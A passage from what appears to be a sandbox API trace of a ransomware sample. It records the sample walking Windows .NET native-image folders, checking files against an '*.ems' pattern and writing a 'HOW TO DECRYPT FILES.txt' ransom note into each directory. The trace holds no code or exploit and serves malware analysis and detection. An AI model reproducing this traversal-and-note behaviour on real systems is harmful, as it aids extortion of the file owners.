(lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft-windows-h#\\a46df77acafec60e31859608625e6354\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.945] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.945] CloseHandle (hObject=0x90) returned 1 [0107.945] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\", lpString2="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll" [0107.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll", pszSpec="*.ems") returned 0 [0107.946] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43205790, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x43205790, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x43205790, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0107.946] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.946] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a46df77acafec60e31859608625e6354", cAlternateFileName="A46DF7~1")) returned 0 [0107.946] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.946] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x706f7265, dwReserved1=0x2e696e2e, cFileName="Microsoft.Applicati#", cAlternateFileName="MICROS~1.APP")) returned 1 [0107.946] lstrcmpA (lpString1=".", lpString2="Microsoft.Applicati#") returned -1 [0107.946] lstrcmpA (lpString1="..", lpString2="Microsoft.Applicati#") returned -1 [0107.946] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.946] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Applicati#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#" [0107.946] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.947] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.947] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.947] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.947] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.947] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62dbc920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62dbc920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="01c92af8d09572a4e4ccb46e3cd71d3a", cAlternateFileName="01C92A~1")) returned 1 [0107.947] lstrcmpA (lpString1=".", lpString2="01c92af8d09572a4e4ccb46e3cd71d3a") returned -1 [0107.947] lstrcmpA (lpString1="..", lpString2="01c92af8d09572a4e4ccb46e3cd71d3a") returned -1 [0107.947] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\*.*") returned="*.*" [0107.947] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\", lpString2="01c92af8d09572a4e4ccb46e3cd71d3a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a" [0107.948] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62dbc920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62dbc920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.948] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.948] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62dbc920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62dbc920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.948] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.948] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.948] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b87be8, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b87be8, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb2ab4cf1, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x67600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ApplicationId.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.948] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.948] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.ApplicationId.Framework.ni.dll") returned -1 [0107.948] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.ApplicationId.Framework.ni.dll") returned -1 [0107.948] lstrcmpiA (lpString1="", lpString2="Microsoft.ApplicationId.Framework.ni.dll") returned -1 [0107.948] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\*.*") returned="*.*" [0107.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\" [0107.949] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\") returned="" [0107.949] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\HOW TO DECRYPT FILES.txt" [0107.949] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\how to decrypt files.txt")) returned 0xffffffff [0107.959] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.966] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.966] CloseHandle (hObject=0x90) returned 1 [0107.967] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\", lpString2="Microsoft.ApplicationId.Framework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\Microsoft.ApplicationId.Framework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\Microsoft.ApplicationId.Framework.ni.dll" [0107.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\Microsoft.ApplicationId.Framework.ni.dll", pszSpec="*.ems") returned 0 [0107.967] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b87be8, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b87be8, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb2ab4cf1, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x67600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ApplicationId.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0107.967] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.967] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62f5f840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="74c8f5e75ec10458436bb476c2cfd9fc", cAlternateFileName="74C8F5~1")) returned 1 [0107.967] lstrcmpA (lpString1=".", lpString2="74c8f5e75ec10458436bb476c2cfd9fc") returned -1 [0107.967] lstrcmpA (lpString1="..", lpString2="74c8f5e75ec10458436bb476c2cfd9fc") returned -1 [0107.967] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\*.*") returned="*.*" [0107.967] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\", lpString2="74c8f5e75ec10458436bb476c2cfd9fc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc" [0107.968] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62f5f840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.968] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.968] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62f5f840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.968] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.968] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.968] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30badd43, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30badd43, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3166add, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xb1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ApplicationId.RuleWizard.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.968] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.969] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.ApplicationId.RuleWizard.ni.dll") returned -1 [0107.969] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.ApplicationId.RuleWizard.ni.dll") returned -1 [0107.969] lstrcmpiA (lpString1="", lpString2="Microsoft.ApplicationId.RuleWizard.ni.dll") returned -1 [0107.969] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\*.*") returned="*.*" [0107.969] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\" [0107.969] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\") returned="" [0107.969] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\HOW TO DECRYPT FILES.txt" [0107.969] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\how to decrypt files.txt")) returned 0xffffffff [0107.969] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.975] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.975] CloseHandle (hObject=0x90) returned 1 [0107.976] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\", lpString2="Microsoft.ApplicationId.RuleWizard.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\Microsoft.ApplicationId.RuleWizard.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\Microsoft.ApplicationId.RuleWizard.ni.dll" [0107.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\Microsoft.ApplicationId.RuleWizard.ni.dll", pszSpec="*.ems") returned 0 [0107.976] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30badd43, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30badd43, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3166add, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xb1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ApplicationId.RuleWizard.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0107.976] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.976] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62f5f840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62f5f840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62f5f840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="74c8f5e75ec10458436bb476c2cfd9fc", cAlternateFileName="74C8F5~1")) returned 0 [0107.976] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.976] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Build.Con#", cAlternateFileName="MICROS~1.CON")) returned 1 [0107.977] lstrcmpA (lpString1=".", lpString2="Microsoft.Build.Con#") returned -1 [0107.977] lstrcmpA (lpString1="..", lpString2="Microsoft.Build.Con#") returned -1 [0107.977] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.977] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Build.Con#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#" [0107.977] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.979] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.979] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.979] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.979] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.979] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8d64f031cf429f4ce79642e8be267d2d", cAlternateFileName="8D64F0~1")) returned 1 [0107.979] lstrcmpA (lpString1=".", lpString2="8d64f031cf429f4ce79642e8be267d2d") returned -1 [0107.980] lstrcmpA (lpString1="..", lpString2="8d64f031cf429f4ce79642e8be267d2d") returned -1 [0107.980] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\*.*") returned="*.*" [0107.980] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\", lpString2="8d64f031cf429f4ce79642e8be267d2d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d" [0107.980] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe3838b00, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe3838b00, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.981] lstrcmpA (lpString1=".", 